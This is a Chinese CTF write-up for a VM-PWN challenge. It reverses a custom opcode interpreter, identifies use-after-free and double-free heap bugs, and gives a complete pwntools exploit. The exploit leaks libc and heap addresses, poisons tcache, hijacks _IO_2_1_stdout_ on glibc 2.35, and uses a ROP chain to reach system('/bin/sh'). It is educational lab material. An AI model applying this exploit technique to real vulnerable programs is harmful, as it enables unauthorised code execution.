记一次题型VM-软件系统安全赛-pwn-<vm>
字数 1280 2025-08-22 12:22:54
VM-PWN题型分析与解题教学
1. VM-PWN题型概述
VM-PWN是CTF比赛中常见的一种题型,出题人实现一个虚拟机(VM),允许攻击者编写opcode执行特定操作。这类题目通常有两种形式:
- VM套一层heap题
- VM本身存在漏洞点
本题属于第一种情况,通过编写opcode来执行add、delete、edit、show等堆操作。
2. VM核心组件分析
一个典型的VM包含以下元素:
- opcode:虚拟机识别的操作码,是解题关键
- reg:虚拟寄存器
- 解释器:执行opcode的代码
- 虚拟数据段:存储数据的内存区域
- 虚拟栈空间:用于函数调用等操作
3. 题目逆向分析
3.1 初始设置
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3) {
init(a1, a2, a3);
vmdata = mmap(0x64617461000LL, 0x30000uLL, 3, 34, -1, 0LL);
vmcode = mmap(0x7063000, 0x10000uLL, 3, 34, -1, 0LL);
mmap3 = mmap(0x73746163000LL, 0x20000uLL, 3, 34, -1, 0LL) + 0x10000;
read_elf(&vmdata);
VM(&vmdata);
}
程序初始化时创建了三个内存映射区域:
- vmdata:0x64617461000,大小0x30000
- vmcode:0x7063000,大小0x10000
- mmap3:0x73746163000 + 0x10000,大小0x20000
3.2 VM主循环
void __fastcall __noreturn VM(__int64 a1) {
int v1; // eax
_BYTE *s; // [rsp+18h] [rbp-8h]
s = malloc(0xCuLL);
memset(s, 0, 8uLL);
do {
if (menu(a1, s) == -1)
break;
v1 = *s & 3;
if (v1 == 3) {
function_3(a1, s);
} else if ((*s & 3u) <= 3) {
if (v1 == 2) {
function_2(a1, s);
} else if ((*s & 3) != 0) {
function_1(a1, s);
} else {
function_0(a1, s);
}
}
memset(s, 0, 0xCuLL);
if (*(a1 + 8) <= 0x7062FFFuLL)
break;
} while (*(a1 + 8) <= 0x7162FFFuLL && *(a1 + 64) > 0x73746162FFFuLL && *(a1 + 64) <= 0x73746183000uLL);
puts("Segment error");
_exit(0);
}
VM主循环根据opcode的第一个字节的低2位决定执行哪个函数:
- 0: function_0
- 1: function_1
- 2: function_2
- 3: function_3
3.3 结构体修复
逆向时需要修复的关键结构体:
struct st {
char b1;
char b2;
char b3;
char b4;
int int1;
int int2;
};
3.4 opcode解析
opcode的解析方式由其第一个字节的低2位决定:
-
低2位=3:
// vmcode_3{ // int1=char; // int2=qword; // } -
低2位=2:
// vmcode_2{ // int1=char; // int2=char; // } -
低2位=1:
// vmcode_1{ // int1=char; // } -
低2位=0:
// vmcode_0{ // char1; // char2; // char3; // }
3.5 function_3函数分析
function_3根据opcode第一个字节的高6位执行不同操作:
void fun_3(addr *a1, st *a2) {
switch (a2->b1 >> 2) {
case 1:
// 比较操作
break;
case 2:
// 比较操作
break;
case 3:
a1->reg[a2->int1] = a2->int2; // mov reg, value
break;
case 4:
a1->reg[a2->int1] ^= a2->int2; // xor reg, value
break;
case 5:
a1->reg[a2->int1] |= a2->int2; // or reg, value
break;
case 6:
a1->reg[a2->int1] &= a2->int2; // and reg, value
break;
case 7:
a1->reg[a2->int1] <<= a2->int2; // shl reg, value
break;
case 8:
a1->reg[a2->int1] >>= a2->int2; // shr reg, value
break;
case 10:
a1->reg[a2->int1] += a2->int2; // add reg, value
break;
case 11:
a1->reg[a2->int1] -= a2->int2; // sub reg, value
break;
case 12:
// 从数据段读取到寄存器
break;
case 13:
// 从数据段读取到寄存器
break;
case 14:
// 从数据段读取到寄存器
break;
case 15:
// 将值写入数据段
break;
case 16:
// 将值写入数据段
break;
case 17:
// 将值写入数据段
break;
case 35:
// 特殊操作
break;
default:
return;
}
}
4. 堆漏洞分析
通过逆向发现程序中存在堆操作函数,包括:
- 分配堆块
- 释放堆块
- 编辑堆块内容
- 显示堆块内容
关键漏洞点:
- UAF (Use After Free):释放后仍可使用
- Double Free:可以多次释放同一堆块
5. 利用思路
-
泄露libc地址:
- 分配大chunk并释放,使其进入unsorted bin
- 通过show功能泄露main_arena地址
-
泄露heap地址:
- 利用UAF泄露堆地址
-
劫持控制流:
- 由于题目使用glibc 2.35,没有__free_hook等传统劫持点
- 选择劫持_IO_2_1_stdout_结构体
- 构造ROP链调用system("/bin/sh")
6. 完整利用代码
#!/usr/bin/python3
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
def fun_case(fun, case):
return p8((case << 2) | (fun & 3))
def fun_0(case, int1):
return fun_case(0, case) + p8(int1 // 0x10000) + p8((int1 // 0x100) & 0xff) + p8(int1 & 0xff)
def fun_3(case, int1, int2):
return fun_case(3, case) + p8(int1) + p64(int2)
def set_reg(reg, vule):
return fun_3(3, reg, vule)
def show_bss(off, size):
ret = set_reg(0, 1)
ret += set_reg(1, off)
ret += set_reg(2, size)
ret += fun_0(0x35, 1)
return ret
def read_bss(off, size):
ret = set_reg(0, 0)
ret += set_reg(1, off)
ret += set_reg(2, size)
ret += fun_0(0x35, 0)
return ret
def add(size):
str1 = set_reg(0, size)
str2 = fun_0(0x33, 3)
return str1 + str2
def free(idx):
str1 = set_reg(0, idx)
str2 = fun_0(0x33, 4)
return str1 + str2
def edit(idx, size):
ret = show_bss(7, 5) # 输出'input'
ret += read_bss(0x100, size)
ret += set_reg(0, idx)
ret += set_reg(1, 0x100)
ret += set_reg(2, size)
ret += fun_0(0x33, 5)
return ret
def show(idx, size):
ret = show_bss(0x12, 9) # 输出'opcodes:\n'
ret += set_reg(0, idx)
ret += set_reg(1, 0x500)
ret += set_reg(2, size)
ret += fun_0(0x33, 6)
ret += show_bss(0x500, size)
return ret
# 1. 泄露libc地址
payload = add(0x458) # chunk 0
payload += add(0x3f8) # chunk 1
payload += add(0x3f8) # chunk 2
payload += free(0)
payload += free(1)
payload += free(2)
payload += add(0x458) # chunk 3
payload += show(3, 8)
payload += show(1, 8)
payload += edit(2, 8)
payload += add(0x3f8) # chunk 4
payload += add(0x3f8) # chunk 5
payload += edit(5, 0x180)
payload += edit(0, 0x3f8)
payload += fun_3(0, 1 << 6, 0)
p = process('./vm')
sla("Please input your opcodes:\n", payload)
def edi_payload(idx, size, payload):
sa("input", payload.ljust(size, b'\x00'))
print(f"=== edit chunk [{idx}] ===")
def leak_addr():
ru("opcodes:\n")
addr = u64(rv(8))
print(f"=== get_addr: {hex(addr)} ===")
return addr
# 泄露libc和heap地址
libc = leak_addr() - (0x7fab61481ce0 - 0x7fab61267000)
heap = leak_addr() << 12
log.info(f"libc: {hex(libc)}")
log.info(f"heap: {hex(heap)}")
# 计算关键地址
IO_stdout = libc + 0x21b780
IO_wfile_jumps = libc + 0x2170c0
system = libc + 0x050d70
rdi = libc + 0x000000000002a3e5
rsi = libc + 0x000000000002be51
rdx = libc + 0x0000000000170337
leave = libc + 0x000000000004da83
ret = leave + 1
# 构造ROP链
rop = p64(rdi) + p64(heap + 0x2c0) + p64(ret) + p64(system)
# 劫持_IO_2_1_stdout_
edi_payload(2, 0x8, p64((IO_stdout) ^ (heap + 0xb70) >> 12))
edi_payload(5, 0x180, p64(0xfbad2084) + rop.ljust(0x80, b'\x00') +
p64(heap + 0x2d0) + b'\x00'*0x10 + p64(heap + 0x2c0 + 0x100) +
b'\x00'*0x30 + p64(IO_wfile_jumps - 0x20))
# 写入/bin/sh和ROP链
edi_payload(0, 0x3f8, b'/bin/sh\x00' + b'\x00'*(0x100 + 0xe0 - 8) +
p64(heap + 0x2c0 + 0x200) + b'\x00'*(0x18 + 0x68) + p64(leave))
# 获取shell
p.interactive()
7. 关键点总结
-
结构体修复:逆向时需要正确识别VM使用的结构体,特别是opcode解析相关的部分。
-
opcode理解:理解不同opcode的格式和功能是解题的基础。
-
漏洞定位:通过逆向找到堆操作函数,并分析其中的漏洞。
-
利用策略:
- 在glibc 2.35下,传统hook不可用,需要寻找其他劫持点
- 选择劫持IO结构体是比较通用的方法
- 构造ROP链时注意栈布局
-
调试技巧:
- 使用gdb调试VM执行流程
- 在关键点设置断点观察内存状态
- 验证泄露的地址是否正确
通过系统性地分析VM结构、理解opcode功能、定位漏洞点并设计利用链,可以成功解决这类VM-PWN题目。